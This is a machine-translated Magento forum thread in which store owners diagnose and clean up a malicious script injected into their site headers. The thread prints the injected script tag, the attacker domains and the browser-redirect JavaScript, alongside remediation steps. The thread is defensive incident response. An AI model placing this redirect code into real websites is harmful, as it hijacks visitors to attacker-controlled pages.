Веб-сайт почати переадресацію на інший URL


9

Maybe it's infected by some virus.

Мій веб-сайт починає переадресовувати на ці заражені URL-адреси.

http://mon.setsu.xyz
та деякий час https://tiphainemollard.us/index/?1371499155545
Заражені посилання

що я зробив для вирішення.

  1. Коментований файл .htaccess (нічого не відбувається)
  2. Прокоментовано включати папку (нічого не відбувається)
  3. Відсканований повний сервер (нічого не трапляється, вірусної зловмисної програми не знайдено)
  4. Змінено шлях CSS, медіа та js з бази даних лише для того, щоб переконатися, що його PHP або будь-який js робить (нічого не відбувається)
  5. select * from core_config_data where path like '%secure%';Усі посилання в порядку ОНОВЛЕННЯ

Я googled, і багато статей було написано про це, але вони припускають, що це проблема браузера або моя система заражена. Стаття про це, навіть якщо я відкриваю сайт на своєму телефоні або на особистому ноутбуці, проблеми однакові.

ОНОВЛЕННЯ 2

Я знайшов рядок у базі даних, на яку це впливає. (як також сказав Борис К.)

У core_config_data таблиці design/head/includes значення мають а

<script src="<a href="https://melissatgmt.us/redirect_base/redirect.js">https://melissatgmt.us/redirect_base/redirect.js</a>" id="1371499155545"></script>  

Що буде вставлено в головний розділ при завантаженні сторінки.

Якщо ви відвідаєте вказану вище URL-адресу, ви отримаєте сценарій переадресації, який є

   var redirChrome;
var isToChrome = document.currentScript.getAttribute('data-type');

if((isToChrome == 1 && navigator.userAgent.indexOf("Chrome") != -1) || !isToChrome){

 var idToRedirect = document.currentScript.getAttribute('id'); 

window.location.replace('https://tiphainemollard.us/index/?'+idToRedirect);
}

Веб-сайт клієнта працює з другого дня, як тільки я видалив цей сценарій. But the main problem is how that script inserted into the database.

Один патч також застарів, тому я також оновив цей патч.

ОНОВЛЕННЯ 3 Сайт знову заражений. Це сценарій, вставлений у розділі Адміністратор ( Адміністратор-> Конфігурація-> Загальне-> Дизайн-> HTML заголовок-> Різне сценарій ) адмін

І в стовпці бази даних база даних

Я не знаю, що зараз робити. Коли я змінював кожен пароль, видаляв усіх старих користувачів.

ОНОВЛЕННЯ 3

Доки ця помилка не виникає, тому ми можемо подолати вищезазначені кроки, щоб подолати цю проблему.

ОНОВЛЕННЯ :: 4 Завжди встановлюйте патчі, оскільки це допомагає мені в проектах зробити магазин менш схильним до подібного типу проблем, а також важливі патчі. Можна перевірити проблеми на своєму веб-сайті https://magescan.com/ .


у вашій системі може вплинути будь-ласка, перевірте це. перевірте свій браузер.
Рама Чандран М

@RamaChandran, коли я google про цей URL майже кожен припущення, що це проблема браузера. Я відкрив сайт у своєму телефоні також того ж випуску.
inrsaurabh

Надайте URL-адресу свого веб-сайту
Рама Чандран M

1
Я видалив <script src = "<a href =" melissatgmt.us/redirect_base/redirect.js" > https://… > "id =" 1371499155545 "> </script> з дизайну / head / включає. Це все ще не спрацювало. І після того, як я відвідав свій веб-сайт, цей код javascrip знову з’являється. Чи маєте ви якусь думку? Адреса веб-сайту hdvideodepot.com
Марк

1
Чи можете ви додати тег версії magento?
sv3n

Відповіді:


6

Я знайшов введений код у core_config_dataтаблиці під design/head/includes. Видалено його, і тепер сайт повернувся до нормального стану.

ОНОВЛЕННЯ: Як усі інші згадували, це відбулося сьогодні вранці. Цього разу я позбувся цього простіше з панелі адміністраторів під System > Configuration > General > Design > HTML Head > Miscellaneous Scripts. Це величезна вразливість, я сподіваюся, що Magento працює над виправленням.

ОНОВЛЕННЯ 2: Сценарій повернувся знову, тому я змінив пароль db, очистив кеш. Приблизно через годину сценарій повернувся. Тому я не думаю, що це додається через db. Я просто змінив пароль адміністратора, давайте подивимося, чи повернеться він знову.

ОНОВЛЕННЯ 3: Оскільки я вчора змінив пароль адміністратора на обох постраждалих сайтах, приблизно через 24 години обидва залишаються чистими.


2
Уау, це величезне порушення безпеки, будь-яка ідея, яку вразливість це спричинило?
Yehia A.Salam

3
Повинно бути дірою в старих версіях Magento. У мене є сайт, створений на Magento 2.1, на який не постраждали, але кожен сайт нижче версії 2 переспрямовується.
Борис К.

Це величезне питання безпеки. Хтось знає, як код вводився в таблицю? Ця таблиця - це те, де з області адміністратора ми можемо додати стилі та javascript до нижнього колонтитула / заголовка веб-сайту. Як хакер може це скомпрометувати? Це означає, що вони мали доступ до адміністратора?
Арахіс

він продовжує повертатися після видалення, не впевнений, що робити
Yehia A.Salam

Я виявив шкідливих користувачів у системі> Дозволи> Користувачі. Після їх видалення (та попередньо виправлення таблиці core_config_data та зміни пароля адміністратора) це здається стабільним, але я хотів би знати, як це сталося в першу чергу. Дірка / задній проріз все ще можуть бути там, і це таємниця.
Арахіс

3

Той самий випуск на іншому сайті magento. Я виявив, що сценарій вводиться в розділ HEAD сторінки, запитуючи redirect_base / redirect.js від melissatgmt.us (потім змінено на інший домен), але не можу зрозуміти, як вводиться це лайно.

ОНОВЛЕННЯ : Як згадували інші, знайшов запис у таблиці core_config_data та видалив його, але запис повернувся при наступному перезавантаженні сторінки. Я змінив пароль db і тепер, здається, зазнав поразки. Я не впевнений, що зміна пароля - це найкраще рішення, але все одно - покращення безпеки.

ОНОВЛЕННЯ 2 : Як зазначає Jix Sas, доступ з конфігурації в адмініструванні magento є простішим рішенням, ніж прямий доступ до таблиці бази даних. Але лайно продовжує повертатися кожні 10/15 хвилин.

ОНОВЛЕННЯ 3 : Змінено пароль адміністратора, перевірено та збережено декілька сторінок cms (сервіс для клієнтів та про нас), які, здавалося, були якимось чином заражені, вимкнено кеш, очищено кеш кілька разів (після кожної перевірки та збереження 'зараженої' сторінки cms) ні більше сценарію вводили протягом останніх 8 годин.


Так, ур так, я отримав ряд, який впливає.
inrsaurabh

Зауважте, що адміністратор magento доступний без проблем і у веб-журналі я бачу, що на доступ боту не впливають. Я думаю, що зловмисне програмне забезпечення обмежено інтерфейсом і перевіряє користувацький агент браузера.
ConsuLanza Informatica

так ви знали, звідки його вводили?
Yehia A.Salam

так, я можу підтвердити, що він продовжує повертатися кожні 10/15 хвилин, навіть після видалення запису з бази даних
Yehia A.Salam

2

Я змінив шлях до панелі адміністратора, app/etc/local.xmlі це допомагає. Сценарій більше не додано до design/head/includes.

Пояснення:

В app/etc/local.xmlя змінив <admin> <routers> <adminhtml> <args> <frontName><![CDATA[new_admin_path]]></frontName> </args> </adminhtml> </routers> </admin>Раніше це було sitedomain.com/admin, а тепер шлях до панелі адміністратора буде sitedomain.com/new_admin_path


Вибачте, що я не зрозумів, що ви зробили, люб'язно пояснітьwhich path u chagned
inrsaurabh

У додатку / etc / local.xml я змінив <admin> <routers> <adminhtml> <args> <frontName><![CDATA[new_admin_path]]></frontName> </args> </adminhtml> </routers> </admin>Раніше це було sitedomain.com/admin, а тепер шлях до панелі адміністратора буде sitedomain.com/new_admin_path
Євгенія

Гаразд, я зрозумів, що ур пропонує
inrsaurabh

1

Це така велика допомога, я відновлював свій сайт 10 разів з ранку.

Помилка продовжує працювати знову і знову.

Що таке остаточне рішення?

Змінити пароль БД? Змінити корінний пароль? Будь-який патч випускається?

Я не впевнений, чи це пов’язано, я отримав нижче повідомлення електронної пошти від служби безпеки

Шановний пан чи пані,

Ми - Хатімерія, компанія з розвитку Magento, що базується в Швейцарії, Польщі та Нідерландах.

Нещодавно ми почали працювати з новим клієнтом і перейняли його старий сервер. У той момент, коли ми звернулися до сервера, ми натрапили на деяке зловмисне програмне забезпечення, за допомогою якого хакери змогли захопити сервер клієнта та використовувати його як "хакерську машину" для злому інших веб-сайтів. Звичайно, клієнт не знав, що це відбувається на його сервері.

Ми знайшли дані бази даних вашого веб-сайту, які були зламані через цей сервер. Звичайно, ми з цим нічого не зробимо, але я відчуваю обов'язок зв’язатися з вами і повідомити вам, що відбувається. Злом був зроблений завдяки вразливості Magento Cacheleak, яка, можливо, все ще присутня у вашому магазині.

Раджу негайно подбати про цю вразливість та змінити пароль вашої бази даних. Наші фахівці кажуть, що це повинно зайняти близько 30 хвилин.

На веб-сайті MageReport ви можете побачити, до чого ще може бути вразливий ваш веб-сайт: https://www.magereport.com/scan/?s=

Моя основна мета цього електронного листа - це не здійснювати придбання клієнтів, але якщо вам потрібна допомога щодо забезпечення вашого магазину чи будь-які інші запитання, ми раді допомогти.

З повагою, Томас Таннер

Так що я думаю, що рішення - це змінити пароль БД


1

Нам потрібно зрозуміти, яка ОСНОВНА причина таких ін'єкцій спаму

Якщо ваш сайт був ін'єкціонований, перевірте його на ВСІХ ТРИМИ сканування шкідливих програм

https://magescan.com

https://www.magereport.com

https://sitecheck.sucuri.net/

У мене таке відчуття через відсутність патчу безпеки! Якщо ви бачите патч, відсутній, повідомте про це під темою .

  1. Змінити пароль доступу до хостингу Змінити пароль бази даних Змінити паролі для входу адміністратора. Скрити адреси адміністратора та скачати URL-адреси та приховати / RSS / від загальнодоступного перегляду.

  2. Здійснивши повне сканування вірусів на сайті, ваш хостинг-провайдер може сканувати сайт, якщо ви не можете зробити це самостійно.

  3. Перейдіть до системи Sysytem -> Користувачі та перевірте, чи є в обліковому записі якісь НЕУТОРГОВАНІ зареєстровані користувачі.


0

Я виправив проблему. Навіть після того, як я видалив FHIS файл з <script src="https://melissatgmt.us/redirect_base/redirect.js" id="1371499155545"></script>з core_config_dataтаблиці в design/head/includesвартості. Це не вирішило проблему. код сценарію вставлявся знову і знову. Щоб вирішити проблему, просто дотримуйтесь цих трьох кроків.

  1. Видаліть код скрипту з core_config_dataтаблиці в design/head/includes.
  2. Змініть пароль бази даних, включаючи app/etc/local.xmlобліковий запис.
  3. Очистити кеш у папці Magento root за допомогою цієї команди rm -rf var/cache/*

ps Я провів цілий день. Сподіваємось, це допоможе вам. І переконайтесь, що весь час створюйте резервну копію файлу.


0

саме це трапилося зі мною саме сьогодні! переадресація на той самий веб-сайт. однак, я знайшов скрипт на панелі адміністратора Magento під конфігурацією> дизайн> html head> скрипти misc. був цей скрипт: <script src="https://melissatgmt.us/redirect_base/redirect.js" id="1371499155545"></script> я його зняв звідти, і веб-сайт працює нормально. у мене немає папки, про яку ви сказали, що знайшли скрипт. Будь-яка ідея, де це могло бути?

також, що ви робили нещодавно? може, ми зможемо з’ясувати причину? для мене я встановив безкоштовний спливаючий вісник, який може бути причиною. що з тобою?

ОНОВЛЕННЯ: а тепер сценарій повернувся. Хтось скаже мені, як я можу отримати доступ до цього скрипту з бази даних, щоб видалити його, будь ласка?

ОНОВЛЕННЯ 2: як зазначає Марк, видалення сценарію І зміна пароля бази даних зупинили повернення цього сценарію. Якщо хтось знає назву цієї вразливості, або якщо є загроза оплаті клієнтів, будь ласка, повідомте нас про це.

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.